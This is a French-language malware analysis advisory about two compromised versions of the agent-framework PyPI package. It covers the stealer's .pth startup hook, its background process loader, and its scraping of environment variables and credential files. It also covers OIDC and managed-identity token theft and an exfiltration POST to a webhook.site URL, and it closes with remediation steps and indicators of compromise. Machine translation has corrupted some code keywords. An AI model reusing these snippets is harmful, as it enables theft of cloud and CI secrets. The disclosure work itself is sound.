17 novembre 2026

Deux versions d'un framework d'agents malveillants ont été mises en ligne sur PyPI en 33 minutes

TL;DR :

framework d'agents Les versions 1.26.1 et 1.26.2, deux versions malveillantes du méta-paquet PyPI de Microsoft Agent Framework publiées à 33 minutes d'intervalle le 17 novembre 2026, exécutent un programme de vol d'identifiants à chaque démarrage de Python, ciblant les secrets d'Azure, d'Azure DevOps et de GitHub Actions. Ces deux versions ont été supprimées de PyPI. Épingler agent-framework==1.26.0 et actualiser chaque clé secrète sur toutes les machines sur lesquelles l'une ou l'autre de ces versions a été installée.

Qui est concerné ?

Vous êtes concerné si vous avez installé framework d'agents 1.26.1 ou 1.26.2 entre 20 h 35 UTC et environ 21 h 20 UTC le 17 novembre 2026, que ce soit directement ou par le biais d'une exigence peu contraignante telle que agent-framework>=1.26. Le logiciel enregistre environ 190 000 téléchargements par mois ; ainsi, même une fenêtre de 45 minutes finit par représenter un volume important.

C'est au niveau de CI que le problème est le plus grave. Une compilation de pipeline ou de conteneur qui a détecté une nouvelle installation pendant cette période a exécuté le programme malveillant avec toutes les ressources auxquelles la tâche avait accès. Sur Azure DevOps, cela signifie que SYSTEM_ACCESSTOKEN et les connexions de service du pipeline. Sur GitHub Actions, la version 1.26.2 récupère le jeton OIDC dans tout workflow comportant id-token: write peuvent en faire la demande. Les ordinateurs portables des développeurs et les machines virtuelles Azure associées à une identité gérée sont également exposés.

Détection à l'aide de la solution de sécurité « Aikido »

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.

Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.

Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.

Comment y remédier

  • Renseignez-vous auprès de pip show agent-framework, et cherchez agent_framework_meta.pth ou af_runtime_diag.pth dans votre paquets du site les répertoires, y compris les caches d'intégration continue et les images de conteneurs créées depuis le 17 novembre.
  • Épingler agent-framework==1.26.0 et remettre en état les environnements touchés.
  • Considérez tout secret accessible par la machine comme ayant été volé. Cela inclut les jetons d'accès personnels et les connexions de service Azure DevOps, les identifiants des entités de service Azure, les jetons GitHub, npm, PyPI et Hugging Face, les identifiants du registre Docker, ainsi que tout ce qui se trouve dans .env fichiers.
  • Vérifiez les journaux de connexion Entra ID pour les entités de service et les identifiants fédérés utilisés par vos pipelines et vos workflows.
  • Recherchez dans les journaux de votre proxy et de votre DNS les connexions vers webhook[.]site.

La suppression du paquet empêche toute nouvelle exécution, mais n'annule pas les données déjà envoyées.

Aperçu

Le 17 novembre 2026, Microsoft’s framework d'agents Un paquet disponible sur PyPI a été compromis. À 20 h 35 UTC, la version 1.26.1 a été publiée ; elle contenait un programme de vol d’identifiants qui s’exécute à chaque démarrage de Python, que le paquet soit importé ou non, et envoie les identifiants d’ cloud , ainsi que les secrets de CI, vers une URL de webhook.site. framework d'agents est le méta-paquet pour Microsoft Agent Framework, le SDK Python de Microsoft destiné à la création d'agents d'IA ; par conséquent, les machines les plus susceptibles de l'installer sont celles qui contiennent des identifiants Azure valant la peine d'être volés.

Nous avons démonté le « wheel » alors qu’il était encore actif. Puis l’attaquant a récidivé. Trente-trois minutes après le premier téléchargement, la version 1.26.2 était disponible sur PyPI et la version 1.26.1 avait disparu, remplacée par le même programme de vol de données sous un nouveau nom de fichier, avec une nouvelle cible dans GitHub Actions. À 21 h 20 UTC, les deux versions avaient été supprimées et la version 1.26.0 était à nouveau la dernière version disponible.

La version 1.26.1 semble être une mise à jour de routine

L'attaquant a limité la portée de la première modification. La version 1.26.1 comporte le même fichier README et le même agent-framework-core[all]==1.26.0 La version 1.26.0, publiée cinq jours plus tôt, serait donc considérée comme une mise à jour mineure par un bot de gestion des dépendances PR , ce qui passerait pour un événement courant. La comparaison des deux versions met en évidence deux nouveaux fichiers et un fichier modifié.

  • agent_framework_meta.pth: absent de la version 1.26.0, ajouté dans la version 1.26.1
  • agent_framework_meta/_telemetry.py: absent de la version 1.26.0, ajouté dans la version 1.26.1
  • agent_framework_meta/__init__.py: 853 octets dans la version 1.26.0, 994 octets dans la version 1.26.1 avec l'ajout du chargeur

L'emballage en dit long lui aussi. Le pipeline de publication de Microsoft présente ce package sous la forme d'un fichier « wheel » et d'une distribution source (sdist), et les deux fichiers de la version 1.26.0 ont été mis en ligne à 40 secondes d'intervalle. La version 1.26.1 ne comporte qu'un fichier « wheel ». À l'intérieur, le ROUE Le fichier conserve l'ancien horodatage de remplacement provenant de la version d'origine, tandis que MÉTADONNÉES, RECORD, et les fichiers modifiés et ajoutés portent tous la date du 17 novembre. Les deux fichiers insérés sont également accessibles en écriture par tous les utilisateurs (rw-rw-rw-), contrairement à tout le reste du paquet. Cela correspond au profil d'une personne qui aurait décompressé une roue légitime, l'aurait modifiée manuellement, puis aurait mis en ligne le fichier recompressé à l'aide d'identifiants de publication valides. On ignore encore comment cette personne s'est procuré ces identifiants.

Comment le voleur parvient à s'enfuir

Le hook .pth

Au démarrage de Python, son module de site lit chaque .pth fichier dans paquets du site. Ces fichiers servent à ajouter des répertoires au chemin d'importation, mais toute ligne commençant par importation est exécuté. Les « wheels » n'exécutent jamais de code lors de l'installation ; par conséquent, pour un « wheel », un .pth fichier est ce qui se rapproche le plus d'un npm post-installation hook, et d'une certaine manière, c'est pire. Il se déclenche à chaque lancement de l'interpréteur dans cet environnement, ce qui signifie que votre code n'a jamais besoin d'importer agent_framework pas du tout. Courir pytest ou pip Cela suffit en soi.

Le fichier de la version 1.26.1 ne contient qu'une seule ligne :

import agent_framework_meta

Cette importation se résout en agent_framework_meta/__init__.py, où l'attaquant a ajouté un chargeur à la fin de la recherche de la version légitime et l'a encapsulé de manière à ce qu'il ne puisse jamais déclencher d'exception :

# Hook de diagnostic d'exécution léger.
try:
    from . import _télémétrie as _telemetry
    _telemetry._start()
sauf Exception :
    pass

Lancement d'un processus en arrière-plan

_start() garantit que la charge utile s'exécute une seule fois par arborescence de processus et ne ralentit jamais le processus Python qui l'a déclenchée :

def _start():
    si os.environ.get("_AF_TEL") :
        return
    os.environ["_AF_TEL"] = "1"
    essayer:
        si hasattr(os, "fork") :
            pid = os.fork()
            si pid == 0:
                try:
                    os.setsid()
                sauf Exception :
                    pass
                _run()
                os._exit(0)
            return
    except Exception :
        pass
    try:
        import threading
        t = threading.Thread(target=_run)
        t.daemon = True
        t.start()
    except Exception :
        pass

Les processus fils héritent de la _AF_TEL_ variable d'environnement, qui empêche chaque sous-processus lancé par Python de relancer le programme de vol de données. Sous Linux et macOS, il crée un processus fils et appelle setsid(), de sorte que le processus fils se détache dans sa propre session et continue à fonctionner une fois que votre commande a terminé. Sous Windows, où il n'y a pas de fourchette, il revient alors à un thread démon.

Ce que le voleur récupère

Les variables d'environnement, y compris celles d'autres processus’

Le programme malveillant copie toute variable d'environnement dont le nom contient l'une des nombreuses sous-chaînes figurant dans une longue liste, parmi lesquelles TOKEN, SECRET, CLÉ, AZURE, AWS, GITHUB, HF_, OPENAI, FONDERIE, SYSTÈME, BUILD, PIP, NPM, et NUGET. On peut ensuite lire : /proc/<pid>/environ pour un maximum de 300 processus en cours d'exécution :

pour e dans glob.glob("/proc/[0-9]*/environ")[:300]:
    try:
        raw = open(e, "rb").read().decode("utf-8", "replace")
        hits = []
        for kv in raw.split("\x00") :
            si any(x in kv.upper() pour x dans (« TOKEN »,« SECRET »,« MOT DE PASSE »,« KEY= »,« ENDPOINT_AUTH »,« SYSTEM_ACCESSTOKEN »,« IDENTITY_HEADER »)):
                hits.append(kv[:2000])

Sur un runner CI, cela permet d'accéder aux secrets détenus par le processus de l'agent de compilation lui-même, au-delà de ceux qui ont été transmis à l'étape Python.

Fichiers d'informations d'identification sur le disque

Il regroupe une liste d'emplacements courants où se trouvent les identifiants et lit jusqu'à 60 fichiers correspondants ne dépassant pas 256 Ko chacun, notamment :

  • État de l'interface CLI Azure dans ~/.azure/*.json
  • pip.conf, .npmrc, .netrc, et .git-credentials
  • Docker's config.json
  • Jetons Hugging Face
  • Agent Azure DevOps .identifiants fichiers sous _travail répertoires et vss-agent installations
  • .env et les fichiers JSON dans /app et /espace de travail, les répertoires racines habituels des applications en conteneurs

Jeton de pipeline Azure DevOps

Si la charge utile se trouve dans un pipeline Azure DevOps, elle tente de générer un jeton OpenID Connect (OIDC) :

at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
    for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
        try:
            req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
            out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]

Les pipelines déployés sur Azure via la fédération d’identités de charge de travail ne stockent pas de secret client. Le pipeline demande un jeton OIDC à durée de vie limitée à Azure DevOps et l’échange contre un identifiant d’ Microsoft Entra , afin d’obtenir un jeton d’accès Azure en tant qu’entité de service de la connexion de service. Un jeton OIDC volé permet à un attaquant d’effectuer ce même échange et d’agir avec tous les droits dont dispose la connexion de service. La requête en question ne transmet pas de serviceConnectionId, cette étape peut donc échouer selon la configuration du pipeline. SYSTEM_ACCESSTOKEN est déjà géré par la variable d'environnement « sweep » et permet à lui seul d'accéder aux dépôts, aux artefacts et aux pipelines de l'organisation.

Jetons d'identité gérés

Ensuite, il demande au point de terminaison d'identité local des jetons d'accès à 12 ressources Azure, parmi lesquelles Azure Resource Manager, Microsoft Graph, Key Vault, Storage, Cognitive Services, Azure Machine Learning, Azure AI Foundry, Container Registry et Azure DevOps (499b84ac-1321-427f-aa17-267ca6975798). Sur App Service et Functions, il utilise IDENTITY_ENDPOINT avec l' IDENTITY_HEADER secret. Partout ailleurs, le système se rabat sur le service IMDS (Azure Instance Metadata Service) à l'adresse 169.254.169.254, qui attribue des jetons à tout processus exécuté sur une machine virtuelle à laquelle est associée une identité gérée. Il récupère également les métadonnées de l'instance de la machine virtuelle.

Le renvoyer chez lui

Tout est envoyé en une seule requête POST. La destination est encodée en base64 dans la source afin d'empêcher toute recherche aléatoire avec grep :

_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# se décode en https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb
def _post(tag, data):
    try:
        import urllib.request
        u = base64.b64decode(_ENC).decode()
        body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
        req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
        urllib.request.urlopen(req, timeout=25).read()
    except Exception:
        pass

Les données sont sérialisées au format JSON, compressées avec zlib et encodées en base64, puis envoyées avec un Agent utilisateur de af-runtime-diagnostics/1 pour maintenir le couvert de la télémétrie. Webhook.site est un service gratuit d'inspection des requêtes ; l'attaquant n'a donc pas eu besoin de disposer de sa propre infrastructure. Il a pu consulter les données volées directement depuis la page du jeton.

Trente-trois minutes plus tard, 1 h 26 min 2 s

À 21 h 08 UTC, la version 1.26.2 a été publiée, là encore sous forme de « wheel » sans « sdist », et la version 1.26.1 a été retirée de PyPI à peu près au même moment. La nouvelle version donne l'impression qu'un pirate s'attendait à ce que quiconque compare les différences agent_framework_meta pour repérer le premier. __init__.py revient au fichier « clean » identique au niveau des octets de la version 1.26.0, et la charge utile a été déplacée du répertoire du paquet vers un module de niveau supérieur avec un .pth fichier dont le nom correspond.

  • Hook de démarrage : agent_framework_meta.pth dans la version 1.26.1, af_runtime_diag.pth dans la version 1.26.2
  • Charge utile : agent_framework_meta/_telemetry.py dans la version 1.26.1, af_runtime_diag.py dans la version 1.26.2
  • Chargeur : ajouté à agent_framework_meta/__init__.py dans la version 1.26.1, _start() appelé au bas de af_runtime_diag.py dans la version 1.26.2
  • User-Agent : af-runtime-diagnostics/1 dans la version 1.26.1, diagnostics-d'exécution/1 dans la version 1.26.2
  • Limite du fichier d'identifiants : 60 dans la version 1.26.1, 80 dans la version 1.26.2
  • Vol d'OIDC dans GitHub Actions : non dans la version 1.26.1, oui dans la version 1.26.2

Le code de collecte et d'exfiltration est par ailleurs identique, jusque dans les moindres détails, jusqu'au _ENC la chaîne de caractères et le jeton webhook.site. La véritable nouveauté est un bloc destiné à GitHub Actions :

# GitHub Actions OIDC (Azure federated credential)
try:
    u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
    t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
    if u and t:
        for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
            try:
                sep = "&" if "?" in u else "?"
                uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
                req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
                out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]

Lorsqu'un workflow GitHub Actions se voit accorder id-token: write, le coureur expose ACTIONS_ID_TOKEN_REQUEST_URL et ACTIONS_ID_TOKEN_REQUEST_TOKEN afin que le workflow puisse demander un jeton OIDC. Les workflows qui se connectent à Azure à l’aide d’un jeton d’échange d’identifiants fédérés avec Entra ID, soit la même technique que celle exploitée par le code Azure DevOps. Une fois en possession du jeton, un attaquant peut effectuer lui-même l’échange et se faire passer pour l’identité Azure du workflow. La version 1.26.2 a également élargi le champ d’application en ajoutant ACTIONS, OIDC, COUREUR, et ARM_ à la variable d'environnement « filter » et en ajoutant le runner hébergé sur GitHub _temp répertoire et le dossier Azure CLI à la liste des fichiers.

À qui s'adresse ce document ?

La première version concernait Azure DevOps et les charges de travail hébergées sur Azure. Une demi-heure plus tard, la deuxième version a ajouté les workflows GitHub Actions qui effectuent des déploiements vers Azure. Ces deux listes correspondent aux environnements dans lesquels les utilisateurs d’Agent Framework exécutent leur code, et la liste des ressources couvre les services d’IA de Microsoft sur lesquels ils s’appuient, tels qu’Azure AI Foundry et Azure Machine Learning. Une version corrective dont les dépendances restent inchangées est également l’une des mises à jour les moins susceptibles d’éveiller les soupçons. Tout projet présentant une exigence vague telle que agent-framework>=1.26 Il le reconnaîtra lors de la prochaine installation, et Dependabot ou Renovate ouvriront sans problème le fichier PR.

Le .pth Cette astuce n'est pas nouvelle. L'attaque LiteLLM de mars 2026 utilisait le même point d'entrée au démarrage pour exécuter sa charge utile à chaque lancement de Python, et les SDK d'IA restent des cibles de choix car les machines sur lesquelles ils sont installés contiennent des identifiants d'cloud s et de fournisseurs de modèles. Python ne dispose toujours pas d'option permettant de désactiver .pth l'exécution est désactivée, de sorte que le hook continue de se déclencher longtemps après que tout le monde a cessé de consulter le journal d'installation.

Il convient également de noter la rapidité avec laquelle une nouvelle version est publiée. Un pirate disposant toujours d'un accès en écriture peut remplacer une version malveillante par une autre plus rapidement que la plupart des équipes ne peuvent bloquer la première ; ainsi, un correctif basé sur un seul nom de fichier ou une seule valeur de hachage est déjà obsolète.

‍

Indicateurs de compromission

Indicateurs réseau

  • Point de terminaison d'exfiltration : https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry
  • User-Agent (1.26.1) : af-runtime-diagnostics/1
  • User-Agent (1.26.2) : diagnostics-d'exécution/1

Indicateurs de l'hôte

  • agent_framework_meta.pth ou af_runtime_diag.pth dans paquets du site
  • af_runtime_diag.py au niveau supérieur de paquets du site
  • Variable d'environnement _AF_TEL=1 définir dans les processus Python

Paquets affectés

  • agent-framework@1.26.1
  • agent-framework@1.26.2

Hachages de fichiers (SHA256), 1.26.1

  • agent_framework-1.26.1-py3-none-any.whl: d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110
  • agent_framework_meta/_telemetry.py: 39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663
  • agent_framework_meta/__init__.py: c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02
  • agent_framework_meta.pth: 21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e

Hachages de fichiers (SHA256), 1.26.2

  • agent_framework-1.26.2-py3-none-any.whl: 3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9
  • af_runtime_diag.py: 54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1f
  • af_runtime_diag.pth: 325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests
Auteurs
Hunter Schwartz
Ingénieur en sécurité
Analyser les malwares
Sécurisez votre code, votre cloud et votre runtime dans un système centralisé. Détectez et corrigez les vulnérabilités rapidement et automatiquement.
Démarrer gratuitement
Partager :

Ajouts récents

18 novembre 2026

PHP prévoit la publication d'une mise à jour de sécurité critique le 19 novembre, incluant la vulnérabilité CVE-2026-115560

PHP publiera des correctifs de sécurité critiques le 19 novembre. Voici ce que nous savons sur la vulnérabilité CVE-2026-115560 et comment la contrer avant la sortie du correctif.
Lire la suite
18 novembre 2026

nginx2root : Vulnérabilités critiques dans nginx, dont une permettant l'exécution de code à distance (RCE) [CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, CVE-2026-113425]

nginx2root regroupe cinq vulnérabilités critiques de type RCE (exécution de code à distance) dans nginx, dont la vulnérabilité CVE-2026-123007 dans HTTP/2. Vérifiez si vous êtes concerné et effectuez la mise à jour vers la version 1.31.9 ou 1.30.7 de nginx.
Lire la suite
17 novembre 2026

Java4Shell : faille RCE dans le décodeur Base64 d'OpenJDK, avec les versions concernées et le correctif (CVE-2026-114938)

Java4Shell est une faille du décodeur Base64 d'OpenJDK qui peut permettre à des attaquants d'exécuter du code à distance, parfois sans authentification. Voici les versions concernées, les versions corrigées et les mesures à prendre dès aujourd'hui pour atténuer ce risque.
Lire la suite